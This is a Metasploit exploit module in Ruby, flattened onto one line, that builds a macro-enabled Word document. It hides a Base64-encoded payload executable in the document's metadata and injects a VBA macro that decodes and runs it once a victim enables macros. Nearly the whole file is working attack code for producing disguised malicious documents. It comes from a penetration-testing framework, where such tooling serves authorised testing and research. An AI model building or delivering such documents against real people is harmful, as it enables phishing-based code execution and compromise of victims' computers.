## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'rex/zip' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::FILEFORMAT include Msf::Exploit::EXE def initialize(info={}) super(update_info(info, 'Name' => "Microsoft Office Word Malicious Macro Execution", 'Description' => %q{ This module injects a malicious macro into a Microsoft Office Word document (docx). The comments field in the metadata is injected with a Base64 encoded payload, which will be decoded by the macro and execute as a Windows executable. For a successful attack, the victim is required to manually enable macro execution. }, 'License' => MSF_LICENSE, 'Author' => [ 'sinn3r' # Metasploit ], 'References' => [ ['URL', 'https://en.wikipedia.org/wiki/Macro_virus'] ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', 'DisablePayloadHandler' => true }, 'Targets' => [ [ 'Microsoft Office Word on Windows', { 'Platform' => 'win', } ], [ 'Microsoft Office Word on Mac OS X (Python)', { 'Platform' => 'python', 'Arch' => ARCH_PYTHON } ] ], 'Privileged' => false, 'DisclosureDate' => "Jan 10 2012" )) register_options([ OptPath.new("CUSTOMTEMPLATE", [false, 'A docx file that will be used as a template to build the exploit']), OptString.new('FILENAME', [true, 'The Office document macro file (docm)', 'msf.docm']) ]) end def get_file_in_docx(fname) i = @docx.find_index { |item| item[:fname] == fname } unless i fail_with(Failure::NotFound, "This template cannot be used because it is missing: #{fname}") end @docx.fetch(i)[:data] end def add_content_type_extension(extension, content_type) if has_content_type_extension?(extension) update_content_type("Types//Default[@Extension=\"#{extension}\"]", 'ContentType', content_type) else xml = get_file_in_docx('[Content_Types].xml') types_node = xml.at('Types') unless types_node fail_with(Failure::NotFound, '[Content_Types].xml is missing the Types node.') end child_data = "" types_node.add_child(child_data) end end def has_content_type_extension?(extension) xml = get_file_in_docx('[Content_Types].xml') xml.at("Types//Default[@Extension=\"#{extension}\"]") ? true : false end def add_content_type_partname(part_name, content_type) ctype_xml = get_file_in_docx('[Content_Types].xml') types_node = ctype_xml.at('Types') unless types_node fail_with(Failure::NotFound, '[Content_Types].xml is missing the Types node.') end child_data = "" types_node.add_child(child_data) end def update_content_type(pattern, attribute, new_value) ctype_xml = get_file_in_docx('[Content_Types].xml') doc_xml_ctype_node = ctype_xml.at(pattern) if doc_xml_ctype_node doc_xml_ctype_node.attributes[attribute].value = new_value end end def add_rels_relationship(type, target) rels_xml = get_file_in_docx('_rels/.rels') relationships_node = rels_xml.at('Relationships') unless relationships_node fail_with(Failure::NotFound, '_rels/.rels is missing the Relationships node') end last_index = get_last_relationship_index_from_rels relationships_node.add_child("") end def add_doc_relationship(type, target) rels_xml = get_file_in_docx('word/_rels/document.xml.rels') relationships_node = rels_xml.at('Relationships') unless relationships_node fail_with(Failure::NotFound, 'word/_rels/document.xml.rels is missing the Relationships node.') end last_index = get_last_relationship_index_from_doc_rels relationships_node.add_child("") end def get_last_relationship_index_from_rels rels_xml = get_file_in_docx('_rels/.rels') relationships_node = rels_xml.at('Relationships') unless relationships_node fail_with(Failure::NotFound, '_rels/.rels is missing the Relationships node') end relationships_node.search('Relationship').collect { |n| n.attributes['Id'].value.scan(/(\d+)/).flatten.first.to_i }.max end def get_last_relationship_index_from_doc_rels rels_xml = get_file_in_docx('word/_rels/document.xml.rels') relationships_node = rels_xml.at('Relationships') unless relationships_node fail_with(Failure::NotFound, 'word/_rels/document.xml.rels is missing the Relationships node') end relationships_node.search('Relationship').collect { |n| n.attributes['Id'].value.scan(/(\d+)/).flatten.first.to_i }.max end def inject_macro add_content_type_extension('bin', 'application/vnd.ms-office.vbaProject') add_content_type_partname('/word/vbaData.xml', 'application/vnd.ms-word.vbaData+xml') pattern = 'Override[@PartName="/word/document.xml"]' attribute_name = 'ContentType' scheme = 'application/vnd.ms-word.document.macroEnabled.main+xml' update_content_type(pattern, attribute_name, scheme) scheme = 'http://schemas.microsoft.com/office/2006/relationships/vbaProject' fname = 'vbaProject.bin' add_doc_relationship(scheme, fname) @docx << { fname: 'word/vbaData.xml', data: get_vbadata_xml } @docx << { fname: 'word/_rels/vbaProject.bin.rels', data: get_vbaproject_bin_rels} @docx << { fname: 'word/vbaProject.bin', data: get_vbaproject_bin} end def get_vbadata_xml File.read(File.join(macro_resource_directory, 'vbaData.xml')) end def get_vbaproject_bin_rels File.read(File.join(macro_resource_directory, 'vbaProject.bin.rels')) end def get_vbaproject_bin File.read(File.join(macro_resource_directory, 'vbaProject.bin')) end def get_core_xml File.read(File.join(macro_resource_directory, 'core.xml')) end def create_core_xml_file add_content_type_partname('/docProps/core.xml', 'application/vnd.openxmlformats-package.core-properties+xml') add_rels_relationship('http://schemas.openxmlformats.org/package/2006/relationships/metadata/core-properties', 'docProps/core.xml') @docx << { fname: 'docProps/core.xml', data: Nokogiri::XML(get_core_xml) } end def inject_payload p = padding = ' ' * 55 p << Rex::Text.encode_base64(target.name =~ /Python/i ? payload.encoded : generate_payload_exe) begin core_xml = get_file_in_docx('docProps/core.xml') rescue Msf::Exploit::Failed end unless core_xml print_status('Missing docProps/core.xml to inject the payload to. Using the default one.') create_core_xml_file core_xml = get_file_in_docx('docProps/core.xml') end description_node = core_xml.at('//cp:coreProperties//dc:description') description_node.content = p end def unpack_docx(template_path) doc = [] Zip::File.open(template_path) do |entries| entries.each do |entry| if entry.name.match(/\.xml|\.rels$/i) content = Nokogiri::XML(entry.get_input_stream.read) else content = entry.get_input_stream.read end vprint_status("Parsing item from template: #{entry.name}") doc << { fname: entry.name, data: content } end end doc end def pack_docm @docx.each do |entry| if entry[:data].kind_of?(Nokogiri::XML::Document) entry[:data] = entry[:data].to_s end end Msf::Util::EXE.to_zip(@docx) end def macro_resource_directory @macro_resource_directory ||= File.join(Msf::Config.install_root, 'data', 'exploits', 'office_word_macro') end def get_template_path if datastore['CUSTOMTEMPLATE'] datastore['CUSTOMTEMPLATE'] else File.join(macro_resource_directory, 'template.docx') end end def exploit template_path = get_template_path unless File.extname(template_path).match(/\.docx$/i) fail_with(Failure::BadConfig, 'Template is not a docx file.') end print_status("Using template: #{template_path}") @docx = unpack_docx(template_path) print_status('Injecting payload in document comments') inject_payload print_status('Injecting macro and other required files in document') inject_macro print_status("Finalizing docm: #{datastore['FILENAME']}") docm = pack_docm file_create(docm) end end